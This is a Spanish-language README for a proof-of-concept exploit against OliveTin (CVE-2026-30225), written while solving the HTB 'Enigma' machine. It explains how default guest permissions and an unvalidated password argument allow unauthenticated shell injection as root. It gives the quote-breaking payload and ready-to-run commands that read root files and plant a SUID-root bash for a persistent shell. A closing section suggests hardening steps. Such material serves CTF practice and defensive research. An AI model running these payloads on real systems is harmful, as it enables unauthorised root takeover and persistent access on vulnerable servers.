
Prueba de concepto de explotación para RCE no autenticado en OliveTin (CVE-2026-30225) mediante valores predeterminados inseguros de invitado y tipos de argumentos no validados, lo que permite obtener una shell root en instancias vulnerables.
PoC para escalada de privilegios / ejecución remota de código contra instancias de OliveTin que se ejecutan con los valores predeterminados de invitado incluidos. Verificado contra OliveTin 3000.10.0 ejecutándose como root (HTB: Enigma), donde produce una shell root no autenticada.
⚠️ Solo pruebas autorizadas. Publicado con fines educativos, CTF y investigación defensiva. Usarlo contra sistemas que no posees o para los que no tienes permiso escrito explícito es ilegal. Sin garantía. Ver LICENSE.
La configuración de ejemplo / predeterminada de OliveTin incluye:
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }
Con esto, un llamador no autenticado (WhoAmI → "guest") puede invocar
StartActionAndWait y ejecutar cualquier acción. Las acciones se ejecutan como el
usuario del proceso OliveTin — frecuentemente root.
internal/executor/arguments.go → TypeSafetyCheck():
case "password": return nil
case "raw_string_multiline": return nil
case "checkbox": return nil
Estos tipos no se validan en absoluto. Cualquier acción cuya plantilla
shell: interpole tal argumento es un sumidero de inyección de shell. En Enigma el
/etc/OliveTin/config.yaml activo contiene:
- id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- { name: db_user, type: ascii_identifier }
- { name: db_pass, type: password } # <-- sin validar, dentro de -p'...'
- { name: db_name, type: ascii_identifier }
db_pass = x'; <cmd>; echo __OT_DONE__ # cierra la comilla -p'…', encadena
<cmd>, y # comenta el ' <db_name> > /opt/backups/backup.sql final.
A + B contra un OliveTin root = RCE no autenticado como root.
RestartActionRestartAction reconstruye la solicitud interna sin llevar las cabeceras/cookies
de autenticación del llamador, por lo que una re-ejecución siempre se resuelve al
usuario guest (bypass de ACL cuando guest tiene más privilegios que el llamador).
Corregido en 3000.11.1.
En builds ≤ 3000.10.x el manejador está además a medio implementar (// FIXME)
y reenvía un BindingId vacío, por lo que simplemente devuelve
action with ID "" not found y no puede re-ejecutar nada. test-restart
informa de lo que el objetivo realmente hace. En Enigma esta ruta es un no-op — los
problemas A + B son los que dan ejecución de código.
requests — pip install -r requirements.txt127.0.0.1:1337; tuneliza/pivota según
sea necesario — en Enigma solo el uid 1000 puede alcanzar el puerto)../exploit.py -u http://127.0.0.1:1337 <modo>
modos:
check identidad, lista de acciones, argumentos inyectables, estado de CVE-2026-30225
test-restart probar solo el comportamiento de RestartAction
exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']
global:
--cookie 'olivetin-sid-local=...' actuar como un usuario local autenticado (opcional)
# reconocimiento
./exploit.py -u http://127.0.0.1:1337 check
# HTB Enigma: ejecutar un comando como root
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'
# colocar un bash SUID-root para una shell persistente
./exploit.py -u http://127.0.0.1:1337 exploit \
--action backup_database --set db_user=root --set db_name=x \
--inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
# luego: /tmp/rb -p
StartActionAndWait devuelve la salida estándar del comando en logEntry.output, por lo que
la salida (flag, uid=0(root), …) vuelve directamente en la respuesta.
check lista cada acción visible y marca aquellas cuyos argumentos usan un
tipo sin validación. Elige una, averigua cómo se cita el argumento en su
cadena shell: (--quote single|double|none), y luego exploit --inject <arg> --cmd '<payload>'. Las acciones no mostradas en ningún panel aún pueden ejecutarse por ID
(--action <id>).
authRequireGuestsToLogin: true y elimina exec de los permisos de invitado/predeterminados;
da a cada ACL el mínimo que necesite.user:
por acción donde se soporte).type;
evita interpolar argumentos en cadenas shell: — prefiere la forma argv de exec:
y cita/valida rigurosamente.RestartAction de OliveTin ejecuta acciones como guestinternal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)Investigación y PoC mientras se hacía root en HTB: Enigma (www-data → haris → OliveTin → root).